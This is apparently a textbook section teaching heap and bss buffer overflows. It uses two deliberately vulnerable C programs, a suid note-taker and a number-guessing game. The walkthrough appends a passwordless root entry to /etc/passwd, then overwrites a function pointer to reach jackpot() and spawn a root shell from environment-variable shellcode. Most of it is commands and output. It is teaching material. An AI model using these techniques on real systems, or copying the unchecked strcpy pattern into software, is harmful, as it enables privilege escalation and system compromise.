0x280
Heap-and bss-Based Overflows

In addition to stack-based overflows, there are
buffer-overflow vulnerabilities that can occur in the heap and bss memory
segments. While these types of overflows aren't as standardized as stack-based
overflows, they can be just as effective. Because there's no return address to
overwrite, these types of overflows depend on important variables being stored
in memory after a buffer that can be overflowed. If an important variable, such
as one that keeps track of user permissions or authentication state, is stored
after an overflowable buffer, this variable can be overwritten to give full
permissions or to set authentication. Or if a function pointer is stored after
an overflowable buffer, it can be overwritten, causing the program to call a
different memory address (where shellcode would be) when the function pointer is
eventually called.

Because overflow exploits in the heap and bss memory segments are
much more dependent on the layout of memory in the program, these types of
vulnerabilities can be harder to spot.

0x281 A Basic
Heap-Based Overflow

The following program is a simple note-taking program, which
is vulnerable to a heap-based overflow. It's a fairly contrived example, but
that's why it's an example and not a real program. Debugging information has
also been added.

heap.c code

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
FILE *fd;

// Allocating memory on the heap
char *userinput = malloc(20);
char *outputfile = malloc(20);

if(argc < 2)
{
printf("Usage: %s <string to be written to /tmp/notes>\n", argv[0]);
exit(0);
}

// Copy data into heap memory
strcpy(outputfile, "/tmp/notes");
strcpy(userinput, argv[1]);

// Print out some debug messages
printf("---DEBUG--\n");
printf("[*] userinput @ %p: %s\n", userinput, userinput);
printf("[*] outputfile @ %p: %s\n", outputfile, outputfile);
printf("[*] distance between: %d\n", outputfile - userinput);
printf("----------\n\n");

// Writing the data out to the file.
printf("Writing to \"%s\" to the end of %s...\n", userinput, outputfile);
fd = fopen(outputfile, "a");
if (fd == NULL)
{
fprintf(stderr, "error opening %s\n", outputfile);
exit(1);
}
fprintf(fd, "%s\n", userinput);
fclose(fd);

return 0;
}

In the following output, the program is compiled, set suid root,
and executed to demonstrate its functionality.

$ gcc -o heap heap.c
$ sudo chown root.root heap
$ sudo chmod u+s heap
$
$ ./heap testing
---DEBUG--
[*] userinput @ 0x80498d0: testing
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24
----------

Writing to "testing" to the end of /tmp/notes...
$ cat /tmp/notes
testing
$ ./heap more_stuff
---DEBUG--
[*] userinput @ 0x80498d0: more_stuff
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24

----------

Writing to "more_stuff" to the end of /tmp/notes...
$ cat /tmp/notes
testing
more_stuff
$

This is a relatively simple program that takes a single argument
and appends that string to the file /tmp/notes. One important detail that should
be noticed is that the memory for the userinput variable is allocated
on the heap before the memory for the outputfile variable. The
debugging output from the program helps to make this clear — userinput
is located at 0x80498d0, and outputfile is located at 0x80498e8. The
distance between these two addresses is 24 bytes. Because the first buffer is
null terminated, the maximum amount of data that can be put into this buffer
without overflowing into the next should be 23 bytes. This can be quickly tested
by trying to use 23- and 24-byte arguments.

$ ./heap 12345678901234567890123
---DEBUG--
[*] userinput @ 0x80498d0: 12345678901234567890123
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24
----------

Writing to "12345678901234567890123" to the end of /tmp/notes...
$ cat /tmp/notes
testing
more_stuff
12345678901234567890123
$ ./heap 123456789012345678901234
---DEBUG--
[*] userinput @ 0x80498d0: 123456789012345678901234
[*] outputfile @ 0x80498e8:
[*] distance between: 24
----------

Writing to "123456789012345678901234" to the end of ...
error opening ˙h
$ cat /tmp/notes
testing
more_stuff
12345678901234567890123
$

As predicted, 23 bytes fit into
the userinput buffer without any problem, but when 24 bytes are tried,
the null-termination byte overflows into the beginning of the
outputfile buffer. This causes the outputfile to be nothing
but a single null byte, which obviously cannot be opened as a file. But what if
something besides a null byte were overflowed into the outputfile
buffer?

$ ./heap 123456789012345678901234testfile
---DEBUG--
[*] userinput @ 0x80498d0: 123456789012345678901234testfile
[*] outputfile @ 0x80498e8: testfile
[*] distance between: 24
----------

Writing to "123456789012345678901234testfile" to the end of testfile...
$ cat testfile
123456789012345678901234testfile
$

This time the string testfile was overflowed into the
outputfile buffer. This causes the program to write to testfile instead
of /tmp/notes, as it was originally programmed to do.

A string is read until a null byte is encountered, so the entire
string is written to the file as the userinput. Because this is a suid
program that appends data to a filename that can be controlled, data can be
appended to any file. This data does have some restrictions, though; it must end
with the controlled filename.

There are probably several clever ways to exploit this type of
capability. The most apparent one would be to append something to the
/etc/passwd file. This file contains all of the usernames, IDs, and login shells
for all the users of the system. Naturally, this is a critical system file, so
it is a good idea to make a backup copy before messing with it too much.

$ cp /etc/passwd /tmp/passwd.backup
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
man:x:13:15:man:/usr/man:/bin/false
nobody:x:65534:65534:nobody:/:/bin/false
matrix:x:1000:100::/home/matrix:
sshd:x:22:22:sshd:/var/empty:/dev/null
$

The fields in the /etc/passwd
file are delimited by colons, the first field being for login name, then
password, user ID, group ID, username, home directory, and finally the login
shell. The password fields are all filled with the x
character, because the encrypted passwords are stored elsewhere in a shadow
file. However, if this field is left blank, no password will be required. In
addition, any entry in the password file that has a user ID of 0 will be given
root privileges. That means the goal is to append an extra entry to the password
file that has root privileges but that doesn't ask for a password. The line to
append should look something like this:

myroot::0:0:me:/root:/bin/bash

However, the nature of this particular heap overflow exploit won't
allow that exact line to be written to /etc/passwd because the string must end
with /etc/passwd. However, if that filename is merely appended to the
end of the entry, the passwd file entry would be incorrect. This can be
compensated for with the clever use of a symbolic file link, so the entry can
both end with /etc/passwd and still be a valid line in the password
file. Here's how it works:

$ mkdir /tmp/etc
$ ln -s /bin/bash /tmp/etc/passwd
$ /tmp/etc/passwd
$ exit
exit
$ ls -l /tmp/etc/passwd
lrwxrwxrwx 1 matrix users 9 Nov 27 15:46 /tmp/etc/passwd ->
/bin/bash

Now "/tmp/etc/passwd" points to the login shell "/bin/bash". This
means that a valid login shell for the password file is also "/tmp/etc/passwd",
making the following a valid password file line:

myroot::0:0:me:/root:/tmp/etc/passwd

The values of this line just need to be slightly modified so that
the portion before "/etc/passwd" is exactly 24 bytes long:

$ echo -n "myroot::0:0:me:/root:/tmp" | wc
0 1 25
$ echo -n "myroot::0:0:m:/root:/tmp" | wc
0 1 24
$

This means that if the string
"myroot::0:0:m:/root:/tmp/etc/passwd" is fed into the vulnerable heap program,
that string will be appended to the end of the /etc/passwd file. And because
this line has no password and does have root privileges, it should be trivial to
access this account and obtain root access, as the following output shows.

$ ./heap myroot::0:0:m:/root:/tmp/etc/passwd
---DEBUG--
[*] userinput @ 0x80498d0: myroot::0:0:m:/root:/tmp/etc/passwd
[*] outputfile @ 0x80498e8: /etc/passwd
[*] distance between: 24
----------

Writing to "myroot::0:0:m:/root:/tmp/etc/passwd" to the end of /etc/passwd...
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
man:x:13:15:man:/usr/man:/bin/false
nobody:x:65534:65534:nobody:/:/bin/false
matrix:x:1000:100::/home/matrix:
sshd:x:22:22:sshd:/var/empty:/dev/null
myroot::0:0:m:/root:/tmp/etc/passwd
$
$ su myroot
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#

0x282 Overflowing
Function Pointers

This example uses overflows in the bss section of memory.
The program is a simple game of chance. It costs 10 credits to play, and the
goal is to guess a randomly chosen number from 1 to 20. If the number is
guessed, 100 credits are rewarded. (The credit addition and subtraction code has
been omitted, because this is only meant to be an example.) Changes in credits
are noted by output messages.

Statistically speaking, this game is weighted against the player,
because a win has 1:20 odds, but it only pays out ten times the cost of playing.
However, maybe there's a way to even out the odds a little bit.

bss_game.c code

#include <stdlib.h>
#include <time.h>

int game(int);
int jackpot();

int main(int argc, char *argv[])
{
static char buffer[20];
static int (*function_ptr) (int user_pick);

if(argc < 2)
{
printf("Usage: %s <a number 1 - 20>\n", argv[0]);
printf("use %s help or %s -h for more help.\n", argv[0], argv[0]);
exit(0);
}

// Seed the randomizer
srand(time(NULL));

// Set the function pointer to point to the game function.
function_ptr = game;

// Print out some debug messages
printf("---DEBUG--\n");
printf("[before strcpy] function_ptr @ %p: %p\n",&function_ptr,function_ptr);
strcpy(buffer, argv[1]);

printf("[*] buffer @ %p: %s\n", buffer, buffer);
printf("[after strcpy] function_ptr @ %p: %p\n",&function_ptr,function_ptr);

if(argc > 2)
printf("[*] argv[2] @ %p\n", argv[2]);
printf("----------\n\n");

// If the first argument is "help" or "-h" display a help message
if((!strcmp(buffer, "help")) || (!strcmp(buffer, "-h")))
{
printf("Help Text:\n\n");
printf("This is a game of chance.\n");
printf("It costs 10 credits to play, which will be\n");
printf("automatically deducted from your account.\n\n");
printf("To play, simply guess a number 1 through 20\n");
printf(" %s <guess>\n", argv[0]);
printf("If you guess the number I am thinking of,\n");
printf("you will win the jackpot of 100 credits!\n");
}
else
// Otherwise, call the game function using the function pointer
{
function_ptr(atoi(buffer));
}
}

int game(int user_pick)
{
int rand_pick;

// Make sure the user picks a number from 1 to 20
if((user_pick < 1) || (user_pick > 20))
{
printf("You must pick a value from 1 - 20\n");
printf("Use help or -h for help\n");
return;
}

printf("Playing the game of chance..\n");
printf("10 credits have been subtracted from your account\n");
/* <insert code to subtract 10 credits from an account> */

// Pick a random number from 1 to 20
rand_pick = (rand()% 20) + 1;

printf("You picked: %d\n", user_pick);
printf("Random Value: %d\n", rand_pick);

// If the random number matches the user's number, call jackpot()
if(user_pick == rand_pick)
jackpot();
else
printf("Sorry, you didn't win this time..\n");
}

// Jackpot Function. Give the user 100 credits.
int jackpot()
{
printf("You just won the jackpot!\n");
printf("100 credits have been added to your account.\n");
/* <insert code to add 100 credits to an account> */
}

The following output displays
the compilation and some sample executions of the program to play the game.

$ gcc -o bss_game bss_game.c
$ ./bss_game
Usage: ./bss_game <a number 1 - 20>
use ./bss_game help or ./bss_game -h for more help.
$ ./bss_game help
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: help
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Help Text:

This is a game of chance.
It costs 10 credits to play, which will be
automatically deducted from your account.

To play, simply guess a number 1 through 20
./bss_game <guess>
If you guess the number I am thinking of,
you will win the jackpot of 100 credits!
$ ./bss_game 5
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 5
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..
10 credits have been subtracted from your account
You picked: 5
Random Value: 12
Sorry, you didn't win this time..
$ ./bss_game 7
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 7
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..
10 credits have been subtracted from your account
You picked: 7
Random Value: 6
Sorry, you didn't win this time..
$ ./bss_game 15
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 15
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..
10 credits have been subtracted from your account
You picked: 15
Random Value: 15
You just won the jackpot!
100 credits have been added to your account.
$

Wonderful. 100 credits. The important detail of this program is
the statically declared buffer located before the statically declared function
pointer. Because both of these are declared static and are uninitialized, they
are located in the bss section of memory. The debug statements reveal that the
buffer is located at 0x8049c74 and the function pointer is at 0x8049c88. That
equates to a difference of 20 bytes. So if 21 bytes are put into the buffer, the
21st byte should overflow into the function pointer. The overflow is shown below
in bold.

$ ./bss_game 12345678901234567890
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890
[after strcpy] function_ptr @ 0x8049c88: 0x8048600
----------

Illegal instruction
$
$ ./bss_game 12345678901234567890A
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890A
[after strcpy] function_ptr @ 0x8049c88: 0x8040041
----------

Segmentation fault
$

In the first overflow shown above, the 21st character is the null
byte that terminates the string. Because the function pointer is stored with
little-endian byte ordering, the least significant byte (at the end) is
overwritten with 0x00, making the new function
pointer 0x8048600. In the output shown above, this points to an illegal
instruction; however, on different systems, this could point to something
valid.

If another byte is overflowed, the null byte moves to the left and
the 22nd byte overwrites the least significant byte of the function pointer. In
the preceding example, the letter A is used, which has a
hexadecimal representation of 0x41. This means that not only can parts of the
function pointer be overwritten, but they can also be controlled. If 4 bytes are
overflowed, the entire function pointer can be overwritten and controlled by
those 4 bytes, as shown below.

$ ./bss_game 12345678901234567890ABCD
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890ABCD
[after strcpy] function_ptr @ 0x8049c88: 0x44434241
----------

Segmentation fault
$

In the preceding example, the function pointer is overwritten by
"ABCD", which is represented by the hexadecimal values for D (0x44), C (0x43), B (0x42), and A (0x41), which are
reversed due to the byte ordering. In both cases, the program crashes with a
segmentation fault, because it's trying to jump to a function in an address
where there is no function. Because the function pointer can be controlled,
though, the execution of the program can be controlled. All that's needed now is
a valid address to insert in place of "ABCD".

The nm command lists symbols in object files. This can be
used to find the address of functions in a program.

$ nm bss_game
08049b60 D _DYNAMIC
08049c3c D _GLOBAL_OFFSET_TABLE_
080487a4 R _IO_stdin_used
w _Jv_RegisterClasses
08049c2c d __CTOR_END__
08049c28 d __CTOR_LIST__
08049c34 d __DTOR_END__
08049c30 d __DTOR_LIST__
08049b5c d __EH_FRAME_BEGIN__
08049b5c d __FRAME_END__
08049c38 d __JCR_END__
08049c38 d __JCR_LIST__
08049c70 A __bss_start
08049b50 D __data_start
08048740 t __do_global_ctors_aux
08048430 t __do_global_dtors_aux
08049b54 d __dso_handle
w __gmon_start__
U __libc_start_main@@GLIBC_2.0
08049c70 A _edata
08049c8c A _end
08048770 T _fini
080487a0 R _fp_hw
08048324 T _init
080483e0 T _start
U atoi@@GLIBC_2.0
08049c74 b buffer.0
08048404 t call_gmon_start
08049c70 b completed.1
08049b50 W data_start
U exit@@GLIBC_2.0
08048470 t frame_dummy
08049c88 b function_ptr.1
08048662 T game
0804871c T jackpot
08048498 T main 08049b58 d p.0
U printf@@GLIBC_2.0
U rand@@GLIBC_2.0
U srand@@GLIBC_2.0
U strcmp@@GLIBC_2.0
U strcpy@@GLIBC_2.0
U time@@GLIBC_2.0
$

The jackpot() function is a wonderful target for this
exploit. The game gives terrible odds, but if the function pointer is
overwritten with the address of the jackpot function, the game won't even be
played. Instead, the jackpot() function will just be called, doling out
the reward of 100 credits and tipping the scales of this game of chance in the
other direction. The shell command printf can be used with grave
accents to properly print the address like this: printf
"\x1c\x87\x04\x08".

$ ./bss_game 12345678901234567890'printf "\x1c\x87\x04\x08"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890
[after strcpy] function_ptr @ 0x8049c88: 0x804871c
----------

You just won the jackpot!
100 credits have been added to your account.
$

Easy money. If this were an
actual game, this type of vulnerability could be repeatedly exploited to rack up
quite a few credits. The vulnerability deepens if the program is suid root.

$ sudo chown root.root bss_game
$ sudo chmod u+s bss_game

Now that the program runs as root, and the execution flow of the
program can be controlled, it should be fairly easy to get a root shell. The
previously demonstrated technique of storing shellcode in an environment
variable should work nicely.

$ export SHELLCODE='perl -e 'print "\x90"x18;'"cat shellcode'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffcfe
$ ./bss_game 12345678901234567890'printf "\xfe\xfc\xff\xbf"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890pü˙ż
[after strcpy] function_ptr @ 0x8049c88: 0xbffffcfe
----------

sh-2.05a# whoami
root
sh-2.05a#

Or, if you prefer to be impressively professional about it, and
you have no problems doing basic hexadecimal math in your head, you can omit the
NOP sled and save a few keystrokes:

$ export SHELLCODE='cat shellcode'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffd90
$ ./bss_game 12345678901234567890'printf "\x94\xfd\xff\xbf"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890y˙ż
[after strcpy] function_ptr @ 0x8049c88: 0xbffffd94
----------
sh-2.05a# whoami
root
sh-2.05a#

In general, buffer
overflows are a relatively simple concept. Sometimes data can spill past the
perceived boundaries, and sometimes there are ways to take advantage of that.
With stack-based overflows, it's usually just a matter of finding the return
address, but with heap-based overflows, creativity and innovation can prove to
be invaluable.